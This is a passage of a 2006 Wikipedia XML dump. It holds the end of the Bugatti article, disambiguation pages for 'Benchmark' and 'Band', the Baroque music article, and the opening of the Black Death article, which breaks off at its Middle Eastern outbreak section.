In the [[1960s]], [[Virgil Exner]] designed a Bugatti as part of his &quot;[[Stutz Motor Company#Exner's Revival Cars|Revival Cars]]&quot; project.  A show version of this car was actually built by [[Ghia]] using the last [[Bugatti Type 101]] chassis and was shown at the [[1965]] [[Turin Motor Show]].  Financing was not forthcoming, however, and Exner turned his attention to a revival of [[Stutz]].

Bugatti continued producing airplane parts and was sold to [[Hispano-Suiza]] (another auto maker turned aircraft supplier) in [[1963]].  [[Snecma]] took over in [[1968]], later acquiring Messier.  The two were merged to form [[Messier-Bugatti]] in [[1977]].

==Bugatti Automobili SpA==
&lt;!-- Unsourced image removed: [[Image:Bugatti EB110.jpg|right|thumb|250px|[[Bugatti EB110|EB110]].]] --&gt;

In [[1987]] [[Romano Artioli]], an [[Italy|Italian]] entrepreneur, acquired the legendary Bugatti name and established '''Bugatti Automobili SpA'''. The new company built a factory designed by the architect [[Giampaolo Benedini]] in [[Campogalliano]], [[Italy]], a town near [[Modena]], home to other performance-car manufacturers [[De Tomaso]], [[Ferrari]], [[Lamborghini]] and [[Maserati]].

By 1989, the plans for the new Bugatti-revival were presented by [[Paolo Stanzani]] and [[Marcello Gandini]], famous designers of the [[Lamborghini Miura]] and [[Lamborghini Countach|Countach]]. The first completed car was labeled the [[Bugatti EB110]] GT, advertised as the most technically advanced [[supercar]] ever produced.

From [[1992]] through [[1994]], famed racing car designer, [[Mauro Forghieri]], was technical director.

On [[August 27]], [[1993]], through his holding company, ACBN Holdings S.A. of [[Luxembourg]], Romano Artioli purchased the [[Lotus Cars|Lotus]] car company from [[General Motors]]. The acquisition brought together two of the greatest names in automotive racing history and plans were made for listing the company's shares for sale on international stock exchanges. 

Bugatti also presented in [[1993]] the prototype of a large sedan called the EB 112.

By the time the EB110 came to market the North American and European economies were in recession and operations ceased in September of 1995. A model specific to the [[United States]] market called the &quot;Bugatti America&quot; was in the preparatory stages when the company closed.

==Bugatti Automobiles SAS==
:''See also the main article, [[Bugatti Automobiles SAS]]''

[[Image:Bugatti veyron in Tokyo.jpg|right|thumb|250px|[[Bugatti Veyron 16.4|Veyron 16.4]].]]

[[Volkswagen AG]] purchased the rights to produce cars under the Bugatti marque in [[1998]]. They commissioned [[ItalDesign]] to produce the [[Bugatti EB 118]] concept, a touring sedan which featured a 555 bhp [[DIN]] (408 kW) output and the first [[W engine|W-configuration]] [[W18|18-cylinder engine]] on any passenger vehicle, at the [[Paris Auto Show]].

In [[1999]] the [[Bugatti EB 218]] concept was introduced at the [[Geneva Auto Show]]; later that year the [[Bugatti 18/3 Chiron]] was introduced at the [[IAA]] in Frankfurt. At the [[Tokyo Motor Show]] the EB 218 reappeared and the [[Bugatti Veyron 16.4|Bugatti EB 16/4 Veyron]] was presented as the first incarnation of what was to be a production road car.

In [[2000]] Volkswagen founded '''Bugatti Automobiles SAS''' and introduced the EB 16/4 Veyron concept, a 16 cylinder car producing 1001 bhp DIN (736 kW), at the [[Paris]], [[Geneva]], and [[Detroit]] auto shows. Development continued throughout [[2001]] and the EB 16/4 Veyron was promoted to &quot;advanced concept&quot; status. In July of [[2005]] Bugatti Automobiles S.A.S. announced that the car would officially be called the [[Bugatti Veyron 16.4]]. It was said that the car -built in the historical Bugatti's factory in Molsheim (Alsace) - would be delivered to clients in October 2005, however the Veyron finally entered production in late 2005, delivery will start in early 2006. Maximum speed claims have been met in several high speed tests where the car slightly exceeded its target, reaching 253 mph (407.5 km/h) and holding it for about two minutes. According to [[Car and Driver]], the fuel economy when travelling at 253 mph in the Veyron was 3.0 mpg. Independent Press tests have reported many failures (3 out of 5 cars available for testing in November 2005 were out of service).

It is expected that, following the [[Bugatti Veyron 16.4]], Bugatti will produce a four-seat car with front engine, and its own unique chassis, and based on the Veyron engine and drivetrain.

==Collectors==
Today original Ettore Bugatti cars are amongst the most sought after in the world by collectors, fetching prices as high as US$10 million.

The best-known collectors of Bugatti were Hans and Fritz Schlumpf, two brothers who ran a textiles business in [[Mulhouse]], close to the Bugatti factory. Between 1958 and 1975 (when their business failed) they secretly amassed a remarkable collection of the cars. Now known as the [[Schlumpf Collection]], it has been turned into one of the world's great car museums, the [[Mus%C3%A9e National de l%27Automobile de Mulhouse]].

==See also==
* [[Bugatti Automobiles SAS]]
* [[Ettore Bugatti]]
* [[Jean Bugatti]]
* In Spanish slang, ''buga'' has acquired the meaning of &quot;car&quot;, whatever its brand.

==External links==
{{commonscat|Bugatti vehicles}}
* [http://supercarnews.com/cars/bugatti/veyron/Bugatti_Veyron SuperCarNews.com] High Resolution Bugatti Veyron Images
* [http://auto-specs.com/ Car Specifications and Performance Stats]
* Musée Nationale de l'Automobile http://www.collection-schlumpf.com/schlumpf/
* Bugatti official site http://www.bugatti-cars.de/
* Club Bugatti France http://www.club-bugatti-france.net/
* Bugatti Sale http://www.viathema.com/
* Bugatti Trust and Owners Club (UK) http://www.bugatti.co.uk/
* Jacob's Bugatti pages http://homepage.mac.com/bugatti/jacob/
* Bugatti Airplace http://home.uni-one.nl/bugatti/baa/kalempa.htm
* The Bugatti Page http://www.bugattipage.com/
* Bugatti wallpapers on http://www.desktopmachine.com/cars/17-Bugatti%20wallpapers.html
* [http://supercarnews.com/ Bugatti Images and Info]

{{VW}}

[[Category:Bugatti]]
[[Category:Formula One constructors]]
[[Category:Volkswagen]]
[[Category:Grand Prix Teams]]

[[da:Bugatti]]
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[[ru:Бугатти]]
[[sv:Bugatti]]</text>
    </revision>
  </page>
  <page>
    <title>Benchmark</title>
    <id>4498</id>
    <revision>
      <id>40172460</id>
      <timestamp>2006-02-18T18:49:50Z</timestamp>
      <contributor>
        <ip>201.31.8.46</ip>
      </contributor>
      <comment>pt:Benchmark</comment>
      <text xml:space="preserve">A '''benchmark''' is a point of reference for a measurement. The term originates from the [[chisel]]ed horizontal marks that [[surveyor]]s made into which an angle-iron could be placed to bracket (''bench'') a levelling rod, thus ensuring that the levelling rod can be repositioned in exactly the same place in the future.

*For the use of benchmarks in surveying (the origin of the term) see [[Benchmark (surveying)]]
*For the use of benchmarks in computing see [[Benchmark (computing)]]
*For the use of benchmarks in management see [[Benchmarking]]
*For the geolocating game similar to geocaching see [[Benchmarking (geolocating)]]

{{disambig}}

[[de:Benchmark]]
[[es:Estudio de referencia]]
[[fr:Benchmark]]
[[it:Benchmark]]
[[nl:Benchmark]]
[[pt:Benchmark]]</text>
    </revision>
  </page>
  <page>
    <title>Band</title>
    <id>4499</id>
    <revision>
      <id>39655285</id>
      <timestamp>2006-02-14T23:35:22Z</timestamp>
      <contributor>
        <username>Dharmabum420</username>
        <id>658713</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.210.87.180|69.210.87.180]] to last version by Cikicdragan</comment>
      <text xml:space="preserve">{{wiktionarypar|band}}

'''Band''' may mean:

* [[Band (radio)]], a range of frequencies in the electromagnetic spectrum
* energy band in semiconductor physics
* [[Band (music)]], a group of musicians
* [[Band (mathematics)]], a [[idempotent]] [[semigroup]]
* [[The Band]], a Canadian-American rock and roll band that started in the late 1960s
* [[Rubber band]], a strip of rubber in a loop
* [[Band society]], a simple form of human society
* The name for a [[First Nations]] community in Canada
* [[Band, Afghanistan]]
* [[bands (neck)]], preaching bands or bands, neckwear for clergy or lawyers


{{disambig}}

[[da:Bånd]]
[[de:Band]]
[[ko:밴드]]
[[it:Banda]]
[[nl:Band]]</text>
    </revision>
  </page>
  <page>
    <title>Baroque music</title>
    <id>4500</id>
    <revision>
      <id>42105259</id>
      <timestamp>2006-03-03T21:34:37Z</timestamp>
      <contributor>
        <ip>164.58.68.3</ip>
      </contributor>
      <comment>/* Late Baroque music (1707&amp;ndash;1760) */</comment>
      <text xml:space="preserve">{{History of European art music}}
'''[[Baroque]] music''' describes an era and a set of styles of [[European classical music]] which were in widespread use between approximately 1600 to 1750 (see [[Dates of classical music eras]] for a discussion of the problems inherent in defining the beginning and end points). This era is said to begin in music after the [[Renaissance music|Renaissance]] and to be followed by the [[Classical music era]]. The original meaning of &quot;baroque&quot; is &quot;irregularly shaped pearl&quot;, a strikingly fitting characterization of the [[architecture]] and design of this period; later, the name came to be applied also to its music. Baroque music forms a major portion of the classical music canon. It is widely performed, studied and listened to. It is associated with composers such as  [[Johann Sebastian Bach|J.S. Bach]], [[George Frideric Handel|Georg Friedrich Händel]], [[Antonio Vivaldi]], and [[Claudio Monteverdi]]. During the period, music theory, diatonic tonality, and imitative counterpoint developed. More elaborate musical ornament, as well as changes in musical notation and advances in the way instruments also appeared. Baroque music would see an expansion in the size, range and complexity of performance, as well as the establishment of [[opera]] as a type of musical performance. Many musical terms and concepts still in use date from this era. 

==Overview==

===Style and trends===

Music conventionally described as Baroque encompasses a wide range of styles from a wide geographic region, mostly in Europe, composed during a period of approximately 150 years. The term &quot;Baroque&quot;, as applied to this period in music is a relatively recent development, first being used by [[Curt Sachs]] in [[1919]], and only acquiring currency in English in the [[1940s]].  Indeed, as late as [[1960]] there was still considerable dispute in academic circles as to whether it was meaningful to lump together music as diverse as that of [[Jacopo Peri]], [[Domenico Scarlatti]] and [[Johann Sebastian Bach|J.S. Bach]] with a single term; yet the term has become widely used and accepted for this broad range of music. It may be helpful to distinguish it from both the [[Renaissance music|preceding (Renaissance)]] and [[Classical music era | following (Classical)]] periods of musical history. A small number of musicologists argue that it should be split in to Baroque and [[Mannerist]] periods to conform to the divisions that are sometimes applied in the visual arts.

====Baroque versus Renaissance style====

Baroque music shares with Renaissance music a heavy use of [[polyphony]] and [[counterpoint]].  However, its use of these techniques differs from Renaissance music.  In the Renaissance, harmony is more the result of consonances incidental to the smooth flow of polyphony, while in the early Baroque era the order of these consonances becomes important, for they begin to be felt as chords in a hierarchical, [[functional tonality|functional]] tonal scheme.  Around [[1600]] there is considerable blurring of this definition:  for example one can see essentially tonal progressions around cadential points in madrigals, while in early [[monody]] the feeling of tonality is still rather tenuous.  Another distinction between Renaissance and Baroque practice in harmony is the frequency of chord root motion by [[interval (music)|third]] in the earlier period, while motion of [[interval (music)|fourths]] or [[interval (music)|fifths]] predominates later (which partially defines functional tonality).  In addition, Baroque music uses longer lines and stronger rhythms:  the initial line is extended, either alone or [[accompaniment|accompanied]] only by the [[basso continuo]], until the theme reappears in another voice.  In this later approach to counterpoint, the harmony was more often defined either by the basso continuo, or tacitly by the notes of the theme itself.

These stylistic differences mark the transition from the ''[[ricercar]]s'', ''[[fantasia (music)|fantasia]]s'', and ''[[canzona]]s'' of the Renaissance to the [[fugue]], a defining Baroque form.  [[Claudio Monteverdi|Monteverdi]] called this newer, looser style the ''seconda prattica'', contrasting it with the ''prima prattica'' that characterized the [[motet]]s and other sacred [[choir|choral]] pieces of high Renaissance masters like [[Giovanni Pierluigi da Palestrina]].  Monteverdi himself used both styles; he wrote his [[Mass (music)|Mass]] ''In illo tempore'' in the older, Palestrinan style, and his [[1610]] [[Vespers]] in the new style.

There are other, more general differences between Baroque and Renaissance style.  Baroque music often strives for a greater level of emotional intensity than Renaissance music, and a Baroque piece often uniformly depicts a single particular emotion (exultation, grief, piety, and so forth; see [[doctrine of the affections]]).  Baroque music was more often written for virtuoso singers and instrumentalists, and is characteristically harder to perform than Renaissance music, although idiomatic instrumental writing was one of the most important innovations of the period.  Baroque music employs a great deal of [[musical ornamentation|ornamentation]], which was often improvised by the performer.  Expressive performance methods such as [[notes inégales]] were common, and were expected to be applied by performers, often with considerable latitude.  Instruments came to play a greater part in Baroque music, and [[a cappella]] vocal music receded in importance.

====Baroque versus Classical style====

In [[Classical music era|the Classical era]], which followed the Baroque, the role of counterpoint was diminished (albeit repeatedly rediscovered and reintroduced; see [[fugue]]), and replaced by a [[homophony|homophonic]] texture.  The role of ornamentation lessened.  Works tended towards a more articulated internal structure, especially those written in [[sonata form]].  Modulation (changing of keys) became a structural and dramatic element, so that a work could be heard as a kind of dramatic journey through a sequence of musical keys, outward and back from the tonic.  Baroque music also modulates frequently, but the modulation has less structural importance.  Works in the classical style often depict widely varying emotions within a single movement, whereas Baroque works tend toward a single, vividly portrayed feeling.  Lastly, Classical works usually reach a kind of dramatic climax and then resolve it; Baroque works retain a fairly constant level of dramatic energy to the very last note. Many forms of the Baroque would serve as the point of departure for the creation of the [[History of sonata form | sonata form]], by creating a &quot;floor plan&quot; for the placement of important cadences.

====Other features====
* ''[[basso continuo]]'' - a kind of continuous accompaniment notated with a new music notation system, [[figured bass]], usually for a sustaining bass instrument and a keyboard instrument
* [[monody]] - music for one melodic voice with [[accompaniment]], characteristic of the early 17th century, especially in Italy
* [[homophony]] - music with one melodic voice and rhythmically similar accompaniment (this and monody are contrasted with the typical Renaissance [[texture (music)|texture]], [[polyphony]])
* text over music - intelligible text with instrumental accompaniment not overpowering the voice
* vocal soloists ('bel canto')
* dramatic musical expression
* dramatic musical forms like [[opera]], ''drama per musica''
* combined instrumental-vocal forms, such as the [[oratorio]] and [[cantata]]
* new instrumental techniques, like ''[[tremolo]]'' and ''[[pizzicato]]''
* clear and linear [[melody]]
* [[notes inégales]], a technique of applying dotted rhythms to evenly written notes
* the [[aria]]
* the ''ritornello'' aria (repeated short instrumental interruptions of vocal passages)
* the [[concertato]] style (contrast in sound between orchestra and solo-instruments or small groups of instruments)
* precise instrumental scoring (in the Renaissance, exact instrumentation for ensemble playing was rarely indicated)
* idiomatic instrumental writing: better use of the unique properties of each type of [[musical instrument]]
* virtuosic instrumental and vocal writing, with appreciation for virtuosity as such
* [[ornament (music)|ornamentation]]
* development to modern Western tonality ([[major scale|major]] and [[minor scale]]s)

===Genres===
Baroque composers wrote in many different musical genres.  [[Opera]], invented in the late Renaissance, became an important musical form during the Baroque, with the operas of [[Alessandro Scarlatti]] (1660&amp;ndash;1725), Handel, and others.  The [[oratorio]] achieved its peak in the work of Bach and Handel; opera and oratorio often used very similar music forms, such as a widespread use of the [[da capo aria]].

In other religious music, the [[mass (music)|mass]] and [[motet]] receded slightly in importance, but the [[cantata]] flourished in the work of Bach and other Protestant composers. Virtuoso organ music also flourished, with [[toccata]]s, [[fugue]]s, and other works.

Instrumental [[sonata (music)|sonatas]] and [[suite|dance suites]] were written for individual instruments, for chamber groups, and for (small) orchestra.  The [[concerto]] emerged, both in its form for a single soloist plus orchestra and as the [[concerto grosso]], in which a small group of soloists is contrasted with the full ensemble.  The [[French overture]], with its contrasting slow and fast sections, added grandeur to the many courts at which it was performed.

Keyboard works were sometimes written largely for the pleasure and instruction of the performer.  These included a series of works by the mature Bach that are widely considered to be the intellectual culmination of the Baroque era:  the [[Well-Tempered Clavier]], the [[Goldberg Variations]], and [[The Art of Fugue]].

== Brief history of Baroque music ==

'''Composers of the Baroque'''
{{Timeline_Classical_Composers_Baroque}}


===Early Baroque music (1600&amp;ndash;1654)===

The conventional dividing line for the Baroque from the Renaissance begins in Italy, with the composer [[Claudio Monteverdi]] (1567&amp;ndash;1643), with his creation of a recitative style, and the rise of a form of musical drama called [[opera]]. This was part of a self-conscious change in style that was across the arts, most particularly architecture and painting.

Musically the adoption of the [[figured bass]] represents a larger change in musical thinking&amp;mdash;namely that [[harmony]], that is &quot;taking all of the parts together&quot; was as important as the linear part of [[polyphony]]. Increasingly polyphony and harmony would be seen as two sides of the same idea, with harmonic progressions entering the notion of composing, as well as the use of the tritone as a dissonance. Harmonic thinking had existed among particular composers in the previous era, notably [[Carlo Gesualdo|Gesualdo]], however the Renaissance is felt to give way to the Baroque at the point where it becomes the common vocabulary. Some historians of music point to the introduction of the [[seventh]] chord without preparation as being the key break with the past. This created the idea that chords, rather than notes, created the sense of closure, which is one of the fundamental ideas of what would much later be called [[tonality]].

Italy formed one of the cornerstones of the new style, as the papacy, besieged by [[Reformation]] but with coffers fattened by the immense revenues flowing in from [[Hapsburg]] conquest, searched for artistic means to promote faith in the [[Roman Catholic Church]]. One of the most important musical centers was Venice, which had both secular and sacred patronage available.

One of the important transitional figures would come out of the drive to revive Catholicism against the growing doctrinal, artistic and social challenge mounted by Protestantism: Giovanni Gabrieli. His work is largely considered to be in the &quot;High Renaissance&quot; style. However, his innovations became to be considered foundational to the new style. Among these are instrumentation (labeling instruments specifically for specific tasks) and the use of dynamics. 

The demands of religion were also to make the text of sacred works clearer, and hence there was pressure to move away from the densely layered polyphony of the Renaissance, to lines which put the words front and center, or had a more limited range of imitation. This would create the demand for a more intricate weaving of the vocal line against backdrop, or [[homophony]].

Monteverdi became the most visible of a generation of composers who felt that there was a secular means to this &quot;modern&quot; approach to harmony and text, and in 1607 his opera [[Orfeo]] would be the landmark which demonstrated the welter of effects and techniques that were associated with this new school, called ''[[seconda prattica]]'', to distinguish it from the older style or ''[[prima prattica]]''. Monteverdi was a master of both, producing precisely styled motets that extended the forms of [[Marenzio]] and [[Giaces de Wert]]. But it is his new style pieces which were to be the most visible changes to the Baroque. These included features which are recognizable even to the end of the baroque period, including use of idiomatic writing, virtuoso flourishes and what Stanley Sadie calls &quot;a thorough going&quot; use of new techniques.

This musical language would prove to be international, as [[Heinrich Schütz]] (1585&amp;ndash;1672) a German composer who studied in Venice, would adopt it to the liturgical needs of the Elector of Saxony, and serve as the choir master in Dresden.  

[[Girolamo Frescobaldi]] (1583&amp;ndash;1643).

===Middle Baroque music (1654&amp;ndash;1707)===
The most influential middle Baroque composers include [[Jean-Baptiste Lully]] (1632&amp;ndash;1687), [[Arcangelo Corelli]] (1653&amp;ndash;1713), [[Dieterich Buxtehude]] (1637&amp;ndash;1707) and [[Henry Purcell]] (1659&amp;ndash;1695).

===Late Baroque music (1707&amp;ndash;1760)===
Leading figures of the late Baroque include [[Johann Sebastian Bach|J.S. Bach]] (1685&amp;ndash;1750), [[George Frideric Handel]] (1685&amp;ndash;1759), [[Georg Philipp Telemann]] (1681&amp;ndash;1767), [[Domenico Scarlatti]] (1685&amp;ndash;1757), [[Antonio Vivaldi]] (1678&amp;ndash;1741) and [[Jean-Philippe Rameau]] (1683&amp;ndash;1764).

=== The Baroque's influence on later music ===
====Transition to the Classical era (1740&amp;ndash;1780)====
The phase between the late Baroque and the early [[Classical music era#Beginnings of the Classical style (1730-1760)| Classical era]], with its broad mixture of competing ideas and attempts to unify the different demands of taste, economics and &quot;worldview&quot;, goes by many names. It is sometimes called &quot;[[Galant]]&quot;, &quot;Rococo&quot;, or &quot;pre-Classical&quot;, or at other times, &quot;early Classical&quot;. It is a period where composers still working in the Baroque style are still successful, if sometimes thought of as being more of the past than the present&amp;mdash;Bach, Handel and Telemann all compose well beyond the point at which the homophonic style is clearly in the ascendant. Musical culture was caught at a crossroads: the masters of the older style had the technique, but the public hungered for the new. This is one of the reasons [[C.P.E. Bach]] was held in such high regard: he understood the older forms quite well, and knew how to present them in new garb, with an enhanced variety of form; he went far in overhauling the older forms from the Baroque.

The practice of the Baroque era was the norm against which new composition was measured, and there came to be a division between sacred works, which held more closely to the Baroque style from, secular, or &quot;profane&quot; works, which were in the new style.

Especially in the Catholic countries of central Europe, the Baroque style continued to be represented in sacred music through the end of the eighteenth century, in much the way that the ''stile antico'' of the Renaissance continued to live in the sacred music of the early 17th century. The masses and oratorios of Haydn and Mozart, while Classical in their orchestration and ornamentation, have many Baroque features in their underlying contrapuntal and harmonic structure. The decline of the baroque saw various attempts to mix old a new techniques, and many composers who continued to hew to the older forms well into the 1780's. Many cities in Germany continued to maintain performance practices from the Baroque into the 1790's, including [[Leipzig]].

In England, the enduring popularity of Handel ensured the success of Avison, Boyce, and Arne&amp;mdash;among other accomplished imitators&amp;mdash;well into the 1780s. By this time it was though of as an older style, and was required for graduation from the burgeoning number of [[music school|conservatories]] of music, and for compositions written for the sacred context.

==== Influence of Baroque composition and practice after 1760 ====

Because Baroque music was the basis for pedagogy, it retained a stylistic influence even after it has ceased to be the dominant style of composing or of music making. Even as baroque practice, for example the thoroughbass, fell out of use, it continued to be part of musical notation. In the early 19th century, scores by Baroque masters were printed in complete edition, and this led to a renewed interest in the &quot;strict style&quot; of counterpoint, as it was then called. With Felix Mendelssohn's revival of Bach's choral music, the Baroque style became an influence through the 19th century as a paragon of academic and formal purity. Throughout the 19th century, the fugue in the style of Bach held enormous influence for composers as a standard to aspire to, and a form to include in serious instrumental works.

The 20th century would name the Baroque as a period, and begin to study its music. Baroque form and practice would influence composers as diverse as [[Arnold Schoenberg]], [[Max Reger]], [[Igor Stravinsky]] and [[Béla Bartók]]. The early 20th century would also see a revival of the middle Baroque composers such as Purcell and Vivaldi. 

There are several instances of contemporary pieces being published as &quot;rediscovered&quot; Baroque masterworks.  Some examples of this include a viola concerto written by Henri Casadesus but attributed to Handel, as well as several pieces attributed by [[Fritz Kreisler]] to lesser-known figures of the Baroque such as Pugnani and Padre Martini. Today, there is a very active core of composers writing works exclusively in the Baroque style, an example being [[Giorgio Pacchioni]].

Various works have been labeled &quot;[[neo-Baroque]]&quot; for a focus on imitative polyphony, including the works of Giacinto Scelsi, Paul Hindemith, Paul Creston and Martinu, even though they are not in the Baroque style proper. Musicologists attempted to complete various works from the Baroque, most notably Bach's [[The Art of Fugue]]. Because the Baroque style is a recognized point of reference, implying not only music, but a particular period and social manner, Baroque styled pieces are sometimes created for media, such as film and television. Composer Peter Schickele [[parody|parodies]] classical and Baroque styles under the pen name [[PDQ Bach]].

Baroque performance practice had a renewed influence with the rise of &quot;Authentic&quot; or [[Historically Informed Performance]] in the late 20th century. Texts by [[Quantz]] and [[Leopold Mozart]] among others, formed the basis for performances which attempted to recover some of the aspects of baroque sound world, including one on a part performance of works by Bach, use of gut strings rather than metal, reconstructed [[harpsichord]]s, use of older playing techniques and styles. Several popular ensembles would adopt some or all of these techniques, including the [[Anonymous 4]] and the [[Academy of Ancient Music]], as well as established groups such as Boston's [[Handel and Haydn Society]]. This movement would then attempt to apply some of the same methods to classical and even early romantic era performance.

== List of Baroque genres ==

====Vocal====
* [[Opera]]
** [[Zarzuela]]
** [[Opera seria]]
** [[Opera comique]]
** [[Opera-ballet]]
* [[Masque]]
* [[Oratorio]]
* [[Passion]]
* [[Cantata]]
* [[Mass (music)]]
* [[Anthem]]
* [[Monody]]
* [[Chorale]]

====Instrumental====
* [[Concerto grosso]]
* [[Fugue (music)|Fugue]]
* [[Suite]]
** [[Allemande]]
** [[Courante]]
** [[Sarabande]]
** [[Gigue]]
** [[Gavotte]]
** [[Menuet]]
* [[Sonata (music)|Sonata]]
** [[Sonata da camera]]
** [[Sonata da chiesa]]
** [[Trio sonata]]
* [[Partita]]
* [[Canzona]]
* [[Sinfonia]]
* [[Fantasia (music)|Fantasia]]
* [[Ricercar]]
* [[Toccata]]
* [[Prelude (music)|Prelude]]
* [[Chaconne]]
* [[Passacaglia]]
* [[Chorale prelude]]

==See also==
*[[List of Baroque composers]]
*[[Neo-Baroque]]
*[[Post-Baroque]]
* [[Hendrik Bouman]], a contemporary composer writing in Baroque style.

==External links==
*[http://plato.acadiau.ca/courses/musi/callon/2233/ch-comp.htm Renaissance &amp;amp; Baroque Chronology]
*[http://www.chopinmusic.net/forum/composer.php#baroque Library and Recordings of Baroque Composers]
*[http://www.baroquemusic.org/ baroquemusic.org]
*[http://www.culturekiosque.com/klassik/features/fa1baroq.htm Guide to Baroque period musical instruments]

==Sources and further reading==
*Schulenberg, David. ''Music of the Baroque''. New York: Oxford UP, 2001. ISBN 0195122321

[[Category:Musical movements]]
[[Category:Baroque music]]
[[Category:The Enlightenment]]

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    <title>Black Death</title>
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      <text xml:space="preserve">:''This article concerns the worldwide [[pandemic]] starting in the mid-14th century, with a focus on material available from European records and accounts. For detailed information on the most commonly accepted cause of the disease, see [[bubonic plague]]''.

[[Image:Bubonicplague.jpg|thumb|350px|Illustration of the Black Death from the [[Toggenburg]] Bible ([[1411]]).]]

The '''Black Death''' was a devastating [[pandemic]] that first struck [[Europe]] in the mid-14th century ([[1347]]&amp;ndash;[[1350|50]]), killing up to a third of [[Medieval demography|Europe's population]], an estimated 34 million people. A series of contemporaneous plague [[epidemic|epidemics]] also occurred across large portions of [[Asia]] and the [[Middle East]], indicating that the European outbreak was actually part of a multiregional pandemic. The same disease is thought to have returned to Europe every generation with varying degrees of intensity and fatality until the 1700s. Notable late outbreaks include the [[Italian Plague of 1629-1631]], the [[Great Plague of London]] (1665&amp;ndash;66), and the [[Great Plague of Vienna]] (1679).  A significant outbreak of the bubonic plague, the [[Great Plague of Marseille]], occurred in France in 1720 - 1722.  As the source of this infection was directly from the Middle East, this outbreak is probably not a continuation of the Black Death.  

In addition to its drastic effect on Europe's population, the plague irrevocably changed Europe's [[social structure]], was a serious blow to Europe's predominant [[religion|religious]] institution, the [[Christian Church]], resulted in widespread [[persecution]]s of [[minority|minorities]] such as [[Jew]]s and [[Leprosy|leper]]s, and created a general [[Emotional mood|mood]] of [[morbidity]] that influenced people who were uncertain of their daily survival to live for the moment.

The initial 14th-century European event was called the &quot;Great Mortality&quot; by contemporary writers and, with later outbreaks, became known as the &quot;Black Death&quot; because of a striking symptom of the disease, called [[acral necrosis]], in which sufferers' skin would blacken due to subdermal hemorrhages. Historical records attribute the Black Death to an outbreak of [[bubonic plague]], an epidemic of the [[bacterium]] ''[[Yersinia pestis]]'' spread by [[flea]]s with the help of animals like the [[black rat]] (''Rattus rattus''), although today's experts debate both the microbiological culprit and mode of [[transmission (medicine)|transmission]].

== Pattern of the pandemic ==
It is most commonly believed that the bubonic plague was originally endemic in populations of infected ground [[rodents]] in central Asia, as it was a known [[cause of death]] among migrant and established populations in that region. However, it is not entirely clear where the 14th-century pandemic started. The most popular theory places the first cases in the [[steppe]]s of central [[Asia]], though some speculate that it originated around northern [[India]]. From there, supposedly, it was carried east and west by traders and [[Mongol]] armies along the [[Silk Road]], and was first exposed to Europe at trading ports in [[Sicily]].

Whether or not this theory is accurate, it is clear that several preexisting conditions such as war, famine, and weather contributed to the severity of the Black Death. A devastating civil war in [[China]] between the established Chinese population and the Mongol hordes raged between 1205 and 1353. This war disrupted farming and trading patterns, and led to episodes of widespread famine. A so-called &quot;[[Little Ice Age]]&quot; had begun at the end of the thirteenth century. The disastrous weather reached a peak in the first half of the fourteenth century with devastating results worldwide.

In the years [[1315]] to [[1322]] a catastrophic famine, known as the [[Great Famine of 1315-1317|Great Famine]], struck all of [[Northern Europe]]. Food shortages and skyrocketing prices were a fact of life for as much as a century before the plague. [[Wheat]], [[oat]]s, [[hay]] and consequently [[livestock]] were all in short supply; and their scarcity resulted in [[hunger]] and [[malnutrition]]. The result was a mounting human vulnerability to disease due to weakened [[immunity]]. The European [[economic system|economy]] entered a vicious cycle in which hunger and small scale disease reduced the [[productivity (economics)|productivity]] of laborers, and so the grain [[output]] suffered, causing the grain prices to increase. The famine was self-perpetuating, devastating places like [[Flanders]] and [[Burgundy]] as much as the Black Death was to devastate all of Europe.

A [[typhoid]] epidemic was to be a predictor of the coming disaster. Many thousands died in populated urban centers, most significantly [[Ypres]]. In [[1318]] a pestilence of unknown origin, sometimes identified as [[anthrax]], hit the animals of Europe. The disease targeted [[Domestic sheep|sheep]] and [[cattle]], further reducing the food supply and [[income]] of the [[peasantry]] and putting another strain on the economy. The increasingly international nature of the European economies meant that the [[depression (economics)|depression]] was felt across [[Europe]]. Due to pestilence, the failure of [[England]]'s [[wool]] [[exports]] led to the destruction of the Flemish weaving industry. Unemployment bred crime and poverty.

===Asian outbreak===
The central Asian scenario agrees with the first reports of outbreaks in [[China]] in the early 1330s. The plague struck the Chinese province of [[Hubei]] in 1334. During 1353&amp;ndash;54, more widespread disaster occurred. Chinese accounts of this wave of the disease record a spread to eight distinct areas: Hubei, [[Jiangxi]], [[Shanxi]], [[Hunan]], [[Guangdong]], [[Guangxi]], [[Henan]] and [[Suiyuan]] (a historical Chinese province that now forms part of Hubei and Nei Mongul provinces), throughout the Mongol/Chinese empires. Historian [[William McNeill]] noted that voluminous Chinese records on disease and social disruption survive from this period, but that modern scholars in neither the East nor the West have studied these sources in depth.

It appears that movement by the Mongols and merchant caravans inadvertently brought the plague from central Asia to the Middle East and Europe. The plague was reported in the trading cities of [[Constantinople]] and [[Empire of Trebizond|Trebizond]] in [[1347]]. In that same year the [[Republic of Genoa|Genoese]] possession of [[Theodosia|Caffa]], a cathedral city and seaport on the [[Crimea]]n peninsula in modern day [[Ukraine]], came under siege by an army of [[Crimean Tatars|Crimean Tatar]] warriors under the command of [[Janibeg]], backed by [[Republic of Venice|Venetian]] forces. Their objective was disruption of a trading empire Genoa had established in Caffa. In 1347, a terrible sickness began to strike the besieging army. According to accounts, so many died that the survivors had little time to bury them and bodies were stacked like cords of firewood against the city walls. Although the Tatar/Venetian alliance broke off the siege, the disease had already spread to the city.

===European outbreak===
[[Image:Bubonic plague map.PNG|thumb|300px|The Black Death rapidly spread along the major European sea and land trade routes.]]

In October 1347, a fleet of Genovese trading ships fleeing Caffa reached the port of [[Messina, Italy|Messina]]. By the time the fleet reached Messina, all the crew members were either infected or dead. It is presumed that the ships also carried infected rats and/or fleas. Some ships were found grounded on shorelines, with no one aboard remaining alive. Looting of these lost ships also helped spread the disease. From there, the plague spread to Genoa and [[Venice]] by the turn of [[1347]]/[[1348]].

From [[Italy]] the disease spread northwest across Europe, striking [[France]], [[Spain]], [[Portugal]], and [[Great Britain]] by June [[1348]], then turned and spread east through [[Germany]] and [[Scandinavia]] from [[1348]] to [[1350]], and finally to north-western [[Russia]] in [[1351]]. The plague largely spared some parts of Europe, including the [[Piast_Poland#The_Kingdom_of_Later_Piasts_(1295-1370)|Kingdom of Poland]] and parts of [[Belgium]] and [[The Netherlands|the Netherlands]].

===Middle Eastern outbreak===
